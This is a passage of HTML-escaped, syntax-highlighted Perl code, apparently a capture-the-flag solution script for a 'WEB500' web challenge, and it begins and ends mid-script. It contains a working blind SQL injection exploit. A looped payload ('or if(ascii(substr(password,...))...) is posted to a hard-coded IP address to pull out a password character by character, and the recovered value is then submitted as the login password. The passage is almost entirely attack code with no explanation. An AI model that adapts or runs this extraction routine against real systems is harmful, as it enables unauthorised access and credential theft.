&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#print(&quot;Char $i &amp;lt; 47\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; GetValue&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: #cc66cc;&quot;&gt;47&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$i&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#Exemple d&#39;appel de fonction:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;#GetValue(97, 120, 1);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;IO&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;me2&quot; style=&quot;color: #006600;&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&amp;gt; WEB500_data&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;defined&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$fh&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$UserAgent&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st_h&quot; style=&quot;color: red;&quot;&gt;&#39;password&#39;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Flag&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$content&lt;/span&gt;&amp;nbsp;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$response&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;me1&quot; style=&quot;color: #006600;&quot;&gt;decoded_content&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw3&quot; style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;[Sending $Flag as password] ...&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;====== Result :&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$content&lt;span class=&quot;es0&quot; style=&quot;color: #000099; font-weight: bold;&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;kw2&quot; style=&quot;font-weight: bold;&quot;&gt;sub&lt;/span&gt;&amp;nbsp;GetValue&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$start&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$end&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$position&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;co5&quot; style=&quot;color: blue;&quot;&gt;@_&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;for&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$start&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$start&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$end&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$start&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$getpass&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&amp;nbsp;url_decode_utf8&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;&#39;or if(ascii(substr(password,$position,1))=$start,1,0) or &#39;0-- -&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;re0&quot; style=&quot;color: blue;&quot;&gt;$Url&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;st0&quot; style=&quot;color: red;&quot;&gt;&quot;http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php&quot;&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;sy0&quot; style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;# DEBBUG:&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;co1&quot; style=&quot;color: #666666; font-style: italic;&quot;&gt;# print(&quot;[*]Trying post data: $getpass\n&quot;);&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
